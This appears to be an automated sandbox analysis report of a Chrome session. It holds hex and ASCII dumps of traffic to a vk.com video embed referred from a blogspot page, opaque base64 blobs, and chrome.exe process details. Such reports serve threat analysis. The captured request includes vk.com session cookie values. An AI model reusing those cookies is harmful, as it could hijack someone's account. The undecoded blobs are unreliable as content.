7mfjbSN6OGoSv2hEwNMaQx61EYHdI9T5FQML9lZSAwd370K1r0Pzqqmxlk16PlD2WkNIxze2x7oHPYUGxa6hOg0x99LSuAl7t8TW4pVHjEgdxTeU/No3N/hn01u1mSn/3ZvU7rc4ul950TGfp6MfVq2hqaSWYLO0mgUOs6UVbnWuidDfNOAHImueD38zSitOBo9Gs5leDJA3mkMCusnDgB8CoqLCQ3mTkmafk4VMRivghK3hO65MssJpczCSKNa
2024-10-14 22:39:58 UTC	16384	IN	Data Raw: 33 50 62 62 2b 6c 5a 77 6b 76 30 54 38 68 64 4c 4d 65 2f 52 77 63 32 44 36 77 57 4e 53 41 30 47 63 41 45 6c 58 43 7a 72 6a 78 51 53 62 78 66 53 2b 4a 58 36 71 42 69 7a 6d 42 67 4c 63 41 75 6b 47 72 66 74 70 54 49 58 30 48 43 55 48 39 66 76 44 61 4b 59 6e 53 34 37 39 42 2f 48 6e 4a 42 41 74 42 42 4b 71 34 41 48 37 37 72 66 31 43 6d 63 39 66 51 38 33 6a 64 73 6f 39 6f 52 54 4e 5a 31 5a 38 67 71 4d 31 37 68 7a 70 36 62 79 42 6e 62 79 39 66 6a 39 51 43 6a 43 30 39 6e 6a 6a 39 70 37 57 68 59 31 32 76 58 6c 68 66 53 52 37 72 4c 48 49 2b 68 36 75 54 45 6a 50 43 52 69 35 74 7a 79 74 6b 58 55 57 75 45 6a 6d 57 4b 41 67 37 79 34 34 63 76 38 76 6e 53 55 42 49 33 30 4f 33 62 73 44 47 68 62 32 4d 72 30 78 30 46 67 43 61 42 4d 46 2f 46 42 79 77 71 36 64 76 76 36 36 68 Data Ascii: 3Pbb+lZwkv0T8hdLMe/Rwc2D6wWNSA0GcAElXCzrjxQSbxfS+JX6qBizmBgLcAukGrftpTIX0HCUH9fvDaKYnS479B/HnJBAtBBKq4AH77rf1Cmc9fQ83jdso9oRTNZ1Z8gqM17hzp6byBnby9fj9QCjC09njj9p7WhY12vXlhfSR7rLHI+h6uTEjPCRi5tzytkXUWuEjmWKAg7y44cv8vnSUBI30O3bsDGhb2Mr0x0FgCaBMF/FBywq6dvv66h
2024-10-14 22:39:58 UTC	16384	IN	Data Raw: 37 56 4b 37 47 4e 6e 78 72 54 35 57 78 44 71 49 34 59 71 42 6a 41 71 6e 45 52 6e 31 7a 48 73 79 7a 67 38 51 44 61 56 79 48 4c 6c 58 4c 70 57 6e 36 65 74 58 50 51 71 59 78 7a 4a 49 35 59 71 58 34 61 4f 47 71 34 32 6d 77 39 6e 5a 46 37 38 70 58 75 55 6b 2b 32 6b 41 59 65 57 64 72 4d 6c 2b 64 78 33 70 53 4c 55 79 30 49 30 39 66 6f 77 6f 43 74 37 63 70 63 48 70 64 6a 55 64 51 52 66 52 51 42 4b 4c 58 4f 6c 41 37 70 63 6d 46 68 43 75 50 6d 71 68 50 73 2b 69 47 73 63 4e 4b 34 31 37 6a 56 6f 55 4c 57 63 32 52 65 32 52 62 35 4d 56 4a 46 52 55 43 46 34 42 6b 36 32 5a 4e 62 55 41 30 52 6b 54 37 45 6c 73 66 73 51 4c 57 42 51 41 2b 71 4e 55 39 68 72 37 72 37 59 76 7a 63 4c 6e 62 73 64 43 37 68 45 49 4f 6d 30 4e 66 63 30 34 53 7a 30 49 76 44 4c 53 32 75 66 2b 6e 5a 6f Data Ascii: 7VK7GNnxrT5WxDqI4YqBjAqnERn1zHsyzg8QDaVyHLlXLpWn6etXPQqYxzJI5YqX4aOGq42mw9nZF78pXuUk+2kAYeWdrMl+dx3pSLUy0I09fowoCt7cpcHpdjUdQRfRQBKLXOlA7pcmFhCuPmqhPs+iGscNK417jVoULWc2Re2Rb5MVJFRUCF4Bk62ZNbUA0RkT7ElsfsQLWBQA+qNU9hr7r7YvzcLnbsdC7hEIOm0Nfc04Sz0IvDLS2uf+nZo
2024-10-14 22:39:58 UTC	16384	IN	Data Raw: 69 6f 32 50 79 38 74 51 30 74 6d 48 70 6d 52 32 74 36 35 7a 41 4a 69 4e 4e 63 75 76 2b 54 57 39 48 66 69 55 70 47 71 79 70 55 57 57 5a 34 58 78 4c 57 43 71 46 59 30 37 34 7a 71 33 42 57 77 70 33 41 6c 6a 53 34 74 6b 47 79 6c 58 57 4e 54 52 46 42 70 45 63 6b 43 69 63 45 6a 77 33 71 6e 4d 59 72 66 57 76 44 57 6a 4a 37 4a 61 57 36 79 47 30 6e 76 57 6e 66 4e 77 69 74 59 47 6a 4c 6a 4c 34 6d 6a 70 53 5a 78 4e 37 78 49 4c 69 6c 34 54 69 4c 69 54 48 32 43 46 59 2f 7a 55 46 5a 52 64 52 57 4d 71 45 72 4d 4c 79 64 4c 52 32 6b 71 79 31 54 6d 62 66 5a 31 32 6f 4c 38 4b 79 33 66 57 79 54 38 76 30 30 34 7a 7a 4d 30 51 70 70 78 55 2f 4c 78 50 2b 41 30 30 4d 38 56 46 43 57 50 4a 72 7a 31 6d 73 41 6b 31 50 50 39 6c 44 31 72 7a 48 65 64 33 61 54 47 33 30 33 43 48 53 76 5a Data Ascii: io2Py8tQ0tmHpmR2t65zAJiNNcuv+TW9HfiUpGqypUWWZ4XxLWCqFY074zq3BWwp3AljS4tkGylXWNTRFBpEckCicEjw3qnMYrfWvDWjJ7JaW6yG0nvWnfNwitYGjLjL4mjpSZxN7xILil4TiLiTH2CFY/zUFZRdRWMqErMLydLR2kqy1TmbfZ12oL8Ky3fWyT8v004zzM0QppxU/LxP+A00M8VFCWPJrz1msAk1PP9lD1rzHed3aTG303CHSvZ
2024-10-14 22:39:58 UTC	16384	IN	Data Raw: 42 42 4d 56 38 55 6d 42 39 4b 7a 42 2f 4e 73 68 47 78 6f 30 69 78 59 35 36 2b 78 73 78 72 76 4b 5a 72 65 55 32 54 49 6d 41 6e 65 32 7a 6d 47 34 2b 30 2f 7a 4b 5a 42 63 63 6a 36 2f 47 79 66 33 4d 48 68 79 58 43 59 30 6b 2b 56 59 45 6a 32 48 49 38 30 76 34 4e 6f 6a 30 68 43 69 7a 72 49 46 67 32 53 69 77 48 45 63 74 46 75 39 55 59 74 68 62 54 31 71 48 62 65 76 54 62 67 47 55 62 73 57 34 54 68 6d 33 47 67 65 33 30 71 69 35 48 50 57 49 37 30 6a 59 35 6d 68 32 63 58 7a 51 47 4b 58 59 44 34 30 37 41 59 62 66 51 72 76 67 49 34 2f 6c 74 6d 43 6f 56 31 75 62 62 71 44 34 4e 42 4f 75 43 66 6c 66 51 37 48 47 76 57 6f 55 55 36 30 58 45 2b 72 44 75 4b 61 54 59 41 42 77 32 69 48 62 58 34 62 42 68 30 33 6b 49 32 4c 30 50 77 31 37 61 77 65 6b 4b 52 4f 77 68 31 76 30 66 69 Data Ascii: BBMV8UmB9KzB/NshGxo0ixY56+xsxrvKZreU2TImAne2zmG4+0/zKZBccj6/Gyf3MHhyXCY0k+VYEj2HI80v4Noj0hCizrIFg2SiwHEctFu9UYthbT1qHbevTbgGUbsW4Thm3Gge30qi5HPWI70jY5mh2cXzQGKXYD407AYbfQrvgI4/ltmCoV1ubbqD4NBOuCflfQ7HGvWoUU60XE+rDuKaTYABw2iHbX4bBh03kI2L0Pw17awekKROwh1v0fi
2024-10-14 22:39:58 UTC	16384	IN	Data Raw: 6b 78 67 2b 6b 73 62 46 72 43 2f 43 57 71 4b 62 62 4c 72 41 46 35 59 4a 36 35 61 76 7a 7a 4e 2f 71 75 2f 48 53 59 46 76 4f 37 4a 30 5a 50 53 4d 6c 58 50 63 57 7a 59 36 76 77 6c 53 38 65 71 31 57 32 4a 57 56 31 39 52 61 77 39 38 4a 37 53 7a 68 62 31 72 76 51 4b 5a 6b 31 68 4e 44 55 61 4b 79 6f 78 74 38 6f 75 64 4d 61 57 34 2f 73 37 2b 38 75 59 32 2b 43 48 65 74 6d 6d 31 32 69 41 4d 6d 56 35 4b 7a 51 73 6a 68 41 61 69 7a 65 4f 7a 33 2f 56 4e 6f 74 55 44 30 37 4e 52 2b 62 31 6b 63 4d 4e 70 62 36 36 69 38 6b 42 54 4a 45 56 48 51 59 57 78 52 41 6a 42 49 79 6a 45 38 39 38 45 37 50 4f 38 6d 38 48 4b 78 2b 4d 67 52 2b 6b 7a 51 61 41 49 4b 34 36 57 67 71 4b 7a 45 6f 67 4a 30 55 2b 57 33 64 52 39 77 69 4d 54 34 6a 6d 71 75 4b 56 41 75 4b 77 76 61 2f 62 36 6b 73 54 Data Ascii: kxg+ksbFrC/CWqKbbLrAF5YJ65avzzN/qu/HSYFvO7J0ZPSMlXPcWzY6vwlS8eq1W2JWV19Raw98J7Szhb1rvQKZk1hNDUaKyoxt8oudMaW4/s7+8uY2+CHetmm12iAMmV5KzQsjhAaizeOz3/VNotUD07NR+b1kcMNpb66i8kBTJEVHQYWxRAjBIyjE898E7PO8m8HKx+MgR+kzQaAIK46WgqKzEogJ0U+W3dR9wiMT4jmquKVAuKwva/b6ksT
2024-10-14 22:39:58 UTC	16384	IN	Data Raw: 44 57 6e 77 45 41 79 58 56 64 77 4a 62 68 31 72 63 71 4b 6a 6d 6c 35 50 32 71 42 32 34 59 53 76 35 6e 32 4d 66 77 56 5a 52 56 70 4c 45 6c 38 79 4b 33 57 4a 6d 46 6c 48 74 2b 77 50 39 57 7a 6c 2b 31 76 67 6d 72 48 53 67 32 2f 75 54 5a 41 76 38 67 36 2f 47 4a 70 52 37 34 4e 56 6e 68 6c 33 77 36 68 75 2f 39 30 48 38 79 32 64 70 2f 2f 76 48 61 6c 52 6a 67 31 38 53 52 31 55 36 6f 68 50 35 72 34 71 2b 70 64 74 39 78 41 76 6f 72 75 4d 5a 4f 31 69 6f 6c 36 45 4b 61 49 36 64 6b 65 75 33 46 38 4c 30 50 62 71 65 6e 35 2f 79 53 57 2f 38 4f 52 34 57 7a 75 72 70 66 54 72 5a 6a 46 55 33 50 50 32 75 47 6d 36 55 36 4c 30 38 73 42 43 61 31 2f 52 34 54 33 61 45 4f 70 2b 57 48 50 71 33 6a 4d 47 47 5a 72 66 36 45 58 63 71 31 47 65 58 52 51 33 2f 61 4e 6c 33 67 4b 70 56 6c 2f Data Ascii: DWnwEAyXVdwJbh1rcqKjml5P2qB24YSv5n2MfwVZRVpLEl8yK3WJmFlHt+wP9Wzl+1vgmrHSg2/uTZAv8g6/GJpR74NVnhl3w6hu/90H8y2dp//vHalRjg18SR1U6ohP5r4q+pdt9xAvoruMZO1iol6EKaI6dkeu3F8L0Pbqen5/ySW/8OR4WzurpfTrZjFU3PP2uGm6U6L08sBCa1/R4T3aEOp+WHPq3jMGGZrf6EXcq1GeXRQ3/aNl3gKpVl/
2024-10-14 22:39:58 UTC	16384	IN	Data Raw: 58 32 72 69 4f 36 4b 66 6d 7a 67 50 51 4d 6c 2b 61 32 6d 52 6a 48 53 61 31 2f 4c 43 79 6c 2b 42 55 67 76 65 70 55 44 74 49 67 55 77 62 35 7a 6a 58 52 65 38 6f 45 42 65 48 57 70 45 70 43 41 6a 62 4c 35 2f 73 35 79 67 69 4d 79 36 56 6c 41 68 59 57 47 43 56 61 46 44 65 48 33 34 4a 68 58 44 75 7a 4a 38 42 42 7a 74 57 48 34 37 49 33 4f 55 44 5a 50 38 37 41 37 65 76 4b 57 44 4f 4a 69 43 5a 7a 67 71 44 6f 53 37 78 44 73 62 79 53 64 6d 37 6e 36 6f 42 37 6e 44 47 53 76 42 31 71 41 4d 4c 4c 66 41 6c 65 67 4b 4d 33 63 56 55 2f 62 34 62 75 73 55 61 49 58 63 52 6d 56 4f 57 6a 4e 37 2b 75 41 6c 67 68 34 34 52 6d 54 2b 6a 65 6f 6a 34 57 36 6a 42 62 72 50 36 4f 6c 5a 65 6e 54 48 4b 2b 45 74 34 6f 58 54 47 32 71 2b 30 2b 33 31 47 49 31 41 42 30 72 65 62 6e 66 62 4a 33 37 Data Ascii: X2riO6KfmzgPQMl+a2mRjHSa1/LCyl+BUgvepUDtIgUwb5zjXRe8oEBeHWpEpCAjbL5/s5ygiMy6VlAhYWGCVaFDeH34JhXDuzJ8BBztWH47I3OUDZP87A7evKWDOJiCZzgqDoS7xDsbySdm7n6oB7nDGSvB1qAMLLfAlegKM3cVU/b4busUaIXcRmVOWjN7+uAlgh44RmT+jeoj4W6jBbrP6OlZenTHK+Et4oXTG2q+0+31GI1AB0rebnfbJ37

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.6	49930	87.240.132.78	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:58 UTC	877	OUT	GET /video_ext.php?oid=424108305&id=456239206 HTTP/1.1 Host: vk.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://sqsq2938.blogspot.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
2024-10-14 22:39:59 UTC	1935	IN	HTTP/1.1 200 OK Server: kittenx Date: Mon, 14 Oct 2024 22:39:58 GMT Content-Type: text/html; charset=windows-1251 Content-Length: 130305 Connection: close X-Powered-By: KPHP/7.4.118842 Set-Cookie: remixir=DELETED; expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/; domain=.vk.com; secure; HttpOnly; SameSite=None Cache-control: no-store Reporting-Endpoints: default="https://vk.com/browser_reports?dest=default_reports" Content-Security-Policy: default-src * data: blob: about: vkcalls:;script-src 'self' https://vk.com https://.vk.com https://vk.ru https://.vk.ru https://static.vk.me https://.mail.ru https://r.mradx.net https://s.ytimg.com https://platform.twitter.com https://cdn.syndication.twimg.com https://www.instagram.com https://connect.facebook.net https://telegram.org https://.yandex.ru https://.google-analytics.com https://.youtube.com https://maps.googleapis.com https://translate.googleapis.com https://.google.com https://google.com https://.vkpartner.ru https://.moatads.com https://.adlooxtracking.ru https://.serving-sys.ru https://.weborama-tech.ru https://.gstatic.com https://.google.ru https://securepubads.g.doubleclick.net https://cdn.ampproject.org https://www.googletagmanager.com https://googletagmanager.com https://.vk-cdn.net https://.hit.gemius.pl https://yastatic.net https://analytics.tiktok.com 'unsafe-inline' 'unsafe-eval' blob:;style-src https://vk.com https://*.vk.com https://vk.ru htt [TRUNCATED] X-XSS-Protection: 1; report=/xss_reports X-Frontend: front923400 Strict-Transport-Security: max-age=15768000 Access-Control-Expose-Headers: X-Frontend Origin-Agent-Cluster: ?0 X-Trace-Id: ka0z7eyFczCQHTfsXhdLcNZa9-lE3g Server-Timing: tid;desc="ka0z7eyFczCQHTfsXhdLcNZa9-lE3g",front;dur=0.428
2024-10-14 22:39:59 UTC	14449	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 27 20 64 69 72 3d 27 6c 74 72 27 3e 0a 0a 3c 68 65 61 64 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 20 20 73 72 63 3d 22 2f 6a 73 2f 6c 6f 61 64 65 72 5f 6e 61 76 32 31 32 32 34 34 37 34 31 34 39 5f 33 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 2f 69 63 6f 6e 73 2f 66 61 76 69 63 6f 6e 73 2f 66 61 76 5f 6c 6f 67 6f 2e 69 63 6f 3f 37 22 20 2f 3e 0a 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 Data Ascii: <!DOCTYPE html><html lang='en' dir='ltr'><head><script type="text/javascript" src="/js/loader_nav21224474149_3.js"></script><link rel="shortcut icon" href="/images/icons/favicons/fav_logo.ico?7" /><meta http-equiv="content-type" content="text/ht
2024-10-14 22:39:59 UTC	16384	IN	Data Raw: 64 65 72 22 3a 31 2c 22 6d 61 72 6b 65 74 5f 63 6f 6d 6d 75 6e 69 74 79 5f 72 65 76 69 65 77 73 5f 77 65 62 5f 6d 6f 62 78 22 3a 31 2c 22 73 65 61 72 63 68 5f 61 6c 6c 5f 63 61 74 61 6c 6f 67 5f 65 6e 61 62 6c 65 64 22 3a 31 2c 22 73 65 61 72 63 68 5f 6d 69 6e 69 5f 61 70 70 73 5f 63 61 74 61 6c 6f 67 5f 65 6e 61 62 6c 65 64 22 3a 31 2c 22 73 65 61 72 63 68 5f 67 61 6d 65 73 5f 63 61 74 61 6c 6f 67 5f 65 6e 61 62 6c 65 64 22 3a 31 2c 22 73 65 61 72 63 68 5f 63 6c 69 70 73 5f 63 61 74 61 6c 6f 67 5f 77 65 62 5f 65 6e 61 62 6c 65 64 22 3a 31 2c 22 73 65 61 72 63 68 5f 67 6c 6f 62 61 6c 5f 63 6c 69 70 73 5f 73 75 67 67 65 73 74 65 72 5f 77 65 62 5f 65 6e 61 62 6c 65 64 22 3a 31 2c 22 73 65 61 72 63 68 5f 73 65 72 76 69 63 65 5f 63 6c 69 70 73 5f 73 75 67 67 Data Ascii: der":1,"market_community_reviews_web_mobx":1,"search_all_catalog_enabled":1,"search_mini_apps_catalog_enabled":1,"search_games_catalog_enabled":1,"search_clips_catalog_web_enabled":1,"search_global_clips_suggester_web_enabled":1,"search_service_clips_sugg
2024-10-14 22:39:59 UTC	16384	IN	Data Raw: 72 6f 72 5f 6d 61 78 5f 63 68 75 6e 6b 5f 61 6d 6f 75 6e 74 5f 63 75 72 72 65 6e 63 79 22 3a 22 52 65 63 6f 6d 6d 65 6e 64 65 64 20 6d 61 78 69 6d 75 6d 20 61 6d 6f 75 6e 74 3a 20 7b 6d 61 78 5f 61 6d 6f 75 6e 74 7d 22 2c 22 70 61 79 6d 65 6e 74 73 5f 6d 6f 6e 65 79 5f 72 65 71 75 65 73 74 5f 65 72 72 6f 72 5f 63 68 75 6e 6b 5f 61 6d 6f 75 6e 74 5f 74 6f 6f 5f 62 69 67 22 3a 22 54 68 65 20 72 65 63 6f 6d 6d 65 6e 64 65 64 20 61 6d 6f 75 6e 74 20 63 61 6e 6e 6f 74 20 62 65 20 6c 61 72 67 65 72 20 74 68 61 6e 20 74 68 65 20 6f 76 65 72 61 6c 6c 20 72 65 71 75 65 73 74 65 64 20 61 6d 6f 75 6e 74 2e 22 2c 22 70 61 79 6d 65 6e 74 73 5f 6c 61 6e 64 69 6e 67 5f 63 61 6e 63 65 6c 6c 65 64 22 3a 22 7b 74 61 67 5f 73 70 61 6e 7d 55 6e 66 6f 72 74 75 6e 61 74 65 6c Data Ascii: ror_max_chunk_amount_currency":"Recommended maximum amount: {max_amount}","payments_money_request_error_chunk_amount_too_big":"The recommended amount cannot be larger than the overall requested amount.","payments_landing_cancelled":"{tag_span}Unfortunatel
2024-10-14 22:39:59 UTC	16384	IN	Data Raw: 6f 77 63 61 73 65 5f 66 6f 72 6d 5f 75 70 6c 6f 61 64 5f 69 6e 5f 70 72 6f 67 72 65 73 73 22 3a 22 59 6f 75 20 63 61 6e 20 65 64 69 74 20 76 69 64 65 6f 73 20 61 66 74 65 72 20 75 70 6c 6f 61 64 20 69 73 20 63 6f 6d 70 6c 65 74 65 22 2c 22 6d 6f 62 69 6c 65 5f 76 69 64 65 6f 5f 73 61 76 65 64 22 3a 22 56 69 64 65 6f 20 73 61 76 65 64 22 2c 22 6d 6f 62 69 6c 65 5f 76 69 64 65 6f 5f 67 6c 6f 62 61 6c 5f 65 72 72 6f 72 22 3a 22 41 6e 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2e 20 50 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2e 22 2c 22 6d 6f 62 69 6c 65 5f 76 69 64 65 6f 5f 61 70 70 5f 70 72 6f 6d 6f 5f 73 6c 6f 77 5f 79 74 5f 73 6e 61 63 6b 62 61 72 5f 77 61 74 63 68 5f 6c 61 74 65 72 5f 61 63 74 69 6f 6e 22 3a 22 44 6f 77 6e 6c 6f Data Ascii: owcase_form_upload_in_progress":"You can edit videos after upload is complete","mobile_video_saved":"Video saved","mobile_video_global_error":"An error occurred. Please try again later.","mobile_video_app_promo_slow_yt_snackbar_watch_later_action":"Downlo
2024-10-14 22:39:59 UTC	16384	IN	Data Raw: 74 68 5f 63 61 70 74 63 68 61 5f 69 6d 61 67 65 5f 61 72 69 61 5f 6c 61 62 65 6c 22 3a 22 47 72 61 70 68 69 63 20 63 6f 64 65 22 2c 22 76 6b 63 6f 6e 6e 65 63 74 5f 61 75 74 68 5f 63 61 70 74 63 68 61 5f 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 22 3a 22 43 6f 6e 74 69 6e 75 65 22 2c 22 76 6b 63 6f 6e 6e 65 63 74 5f 61 75 74 68 5f 63 61 70 74 63 68 61 5f 72 65 66 72 65 73 68 5f 62 75 74 74 6f 6e 5f 61 72 69 61 5f 6c 61 62 65 6c 22 3a 22 52 65 66 72 65 73 68 20 69 6d 61 67 65 22 2c 22 76 6b 63 6f 6e 6e 65 63 74 5f 61 75 74 68 5f 63 61 70 74 63 68 61 5f 72 65 66 72 65 73 68 5f 61 75 64 69 6f 5f 62 75 74 74 6f 6e 5f 61 72 69 61 5f 6c 61 62 65 6c 5f 6e 65 77 5f 75 78 22 3a 22 4e 65 77 20 61 75 64 69 6f 22 2c 22 76 6b 63 6f 6e 6e 65 63 74 5f 61 75 74 68 5f 63 61 Data Ascii: th_captcha_image_aria_label":"Graphic code","vkconnect_auth_captcha_submit_button":"Continue","vkconnect_auth_captcha_refresh_button_aria_label":"Refresh image","vkconnect_auth_captcha_refresh_audio_button_aria_label_new_ux":"New audio","vkconnect_auth_ca
2024-10-14 22:39:59 UTC	16384	IN	Data Raw: 6f 75 22 2c 22 76 69 64 65 6f 5f 75 70 6c 6f 61 64 5f 63 68 6f 6f 73 65 5f 70 6c 61 79 6c 69 73 74 5f 70 6c 61 63 65 68 6f 6c 64 65 72 22 3a 22 53 65 6c 65 63 74 20 61 20 70 6c 61 79 6c 69 73 74 22 2c 22 76 69 64 65 6f 5f 75 70 6c 6f 61 64 5f 61 6e 6f 74 68 65 72 5f 6f 6e 65 22 3a 22 41 64 64 20 61 6e 6f 74 68 65 72 20 76 69 64 65 6f 22 2c 22 76 69 64 65 6f 5f 63 6c 69 70 5f 61 64 64 5f 6d 75 73 69 63 22 3a 22 53 65 6c 65 63 74 20 6d 75 73 69 63 22 2c 22 76 69 64 65 6f 5f 63 6c 69 70 5f 64 6f 6e 74 5f 61 74 74 61 63 68 22 3a 22 52 65 6d 6f 76 65 20 66 72 6f 6d 20 63 6c 69 70 22 2c 22 76 69 64 65 6f 5f 75 70 6c 6f 61 64 5f 6c 69 6e 6b 5f 63 6f 70 69 65 64 22 3a 22 56 69 64 65 6f 20 6c 69 6e 6b 20 63 6f 70 69 65 64 20 74 6f 20 63 6c 69 70 62 6f 61 72 64 22 Data Ascii: ou","video_upload_choose_playlist_placeholder":"Select a playlist","video_upload_another_one":"Add another video","video_clip_add_music":"Select music","video_clip_dont_attach":"Remove from clip","video_upload_link_copied":"Video link copied to clipboard"
2024-10-14 22:39:59 UTC	16384	IN	Data Raw: 20 61 6e 6f 6e 79 6d 6f 75 73 2e 22 2c 22 67 72 6f 75 70 73 5f 64 6f 6e 75 74 5f 73 75 62 73 63 72 69 70 74 69 6f 6e 5f 6d 61 6e 61 67 65 5f 63 68 61 6e 67 65 5f 61 6d 6f 75 6e 74 5f 73 75 62 74 69 74 6c 65 5f 63 75 72 72 65 6e 74 22 3a 22 d1 e5 e9 f7 e0 f1 3a 20 7b 61 6d 6f 75 6e 74 7d a0 26 23 38 33 38 31 3b 20 e2 a0 ec e5 f1 ff f6 22 2c 22 67 72 6f 75 70 73 5f 64 6f 6e 75 74 5f 73 75 62 73 63 72 69 70 74 69 6f 6e 5f 6d 61 6e 61 67 65 5f 6d 69 6e 5f 61 6d 6f 75 6e 74 22 3a 22 4d 69 6e 69 6d 75 6d 20 61 6d 6f 75 6e 74 3a 20 26 23 38 33 38 31 3b 7b 61 6d 6f 75 6e 74 7d 20 70 65 72 a0 6d 6f 6e 74 68 22 2c 22 67 72 6f 75 70 73 5f 64 6f 6e 75 74 5f 73 75 62 73 63 72 69 70 74 69 6f 6e 5f 6d 61 6e 61 67 65 5f 63 68 61 6e 67 65 5f 61 6d 6f 75 6e 74 5f 74 69 74 Data Ascii: anonymous.","groups_donut_subscription_manage_change_amount_subtitle_current":": {amount}₽ ","groups_donut_subscription_manage_min_amount":"Minimum amount: ₽{amount} permonth","groups_donut_subscription_manage_change_amount_tit
2024-10-14 22:39:59 UTC	16384	IN	Data Raw: 20 64 6f 65 73 6e 26 23 33 39 3b 74 20 68 61 76 65 20 61 6e 79 20 63 6c 69 70 73 22 2c 22 76 69 64 65 6f 5f 63 6c 69 70 5f 73 65 6c 65 63 74 5f 65 78 69 74 5f 77 69 74 68 6f 75 74 5f 73 61 76 65 5f 68 65 61 64 65 72 22 3a 22 45 78 69 74 20 77 69 74 68 6f 75 74 20 73 61 76 69 6e 67 3f 22 2c 22 76 69 64 65 6f 5f 63 6c 69 70 5f 73 65 6c 65 63 74 5f 65 78 69 74 5f 77 69 74 68 6f 75 74 5f 73 61 76 65 5f 74 65 78 74 22 3a 22 54 68 65 20 63 6c 69 70 20 77 6f 6e 26 23 33 39 3b 74 20 62 65 20 73 61 76 65 64 2c 20 61 6e 64 a0 79 6f 75 26 23 33 39 3b 6c 6c 20 6e 65 65 64 20 74 6f a0 73 65 6c 65 63 74 20 61 a0 63 6c 69 70 20 61 67 61 69 6e 22 2c 22 67 6c 6f 62 61 6c 5f 73 65 61 72 63 68 5f 6e 6f 74 5f 66 6f 75 6e 64 22 3a 22 59 6f 75 72 20 73 65 61 72 63 68 20 66 6f Data Ascii: doesn't have any clips","video_clip_select_exit_without_save_header":"Exit without saving?","video_clip_select_exit_without_save_text":"The clip won't be saved, andyou'll need toselect aclip again","global_search_not_found":"Your search fo
2024-10-14 22:39:59 UTC	1168	IN	Data Raw: 74 65 6e 61 6d 65 22 3a 22 73 71 73 71 32 39 33 38 2e 62 6c 6f 67 73 70 6f 74 2e 63 6f 6d 22 2c 22 6f 73 22 3a 22 6e 6f 22 2c 22 5f 53 49 54 45 5a 4f 4e 45 22 3a 33 7d 2c 22 73 74 61 74 5f 68 61 73 68 22 3a 22 61 31 31 33 64 31 34 65 36 31 35 30 30 34 36 35 32 61 22 2c 22 70 6c 22 3a 32 31 34 36 39 2c 22 70 6c 5f 74 79 70 65 22 3a 22 6f 74 68 65 72 22 7d 2c 22 66 72 6f 6d 5f 61 64 73 22 3a 66 61 6c 73 65 7d 5d 7d 3b 0a 76 61 72 20 63 6f 6e 74 61 69 6e 65 72 20 3d 20 67 65 28 27 76 69 64 65 6f 5f 62 6f 78 5f 77 72 61 70 34 32 34 31 30 38 33 30 35 5f 34 35 36 32 33 39 32 30 36 27 29 3b 0a 56 69 64 65 6f 49 6e 69 74 69 61 6c 69 7a 65 72 2e 69 6e 69 74 50 6c 61 79 65 72 28 63 6f 6e 74 61 69 6e 65 72 2c 20 70 6c 61 79 65 72 50 61 72 61 6d 73 2e 74 79 70 65 2c Data Ascii: tename":"sqsq2938.blogspot.com","os":"no","_SITEZONE":3},"stat_hash":"a113d14e615004652a","pl":21469,"pl_type":"other"},"from_ads":false}]};var container = ge('video_box_wrap424108305_456239206');VideoInitializer.initPlayer(container, playerParams.type,

Target ID:	0
Start time:	18:39:38
Start date:	14/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	18:39:41
Start date:	14/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=2040,i,11590247818774784367,6690440306687084841,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	18:39:44
Start date:	14/10/2024
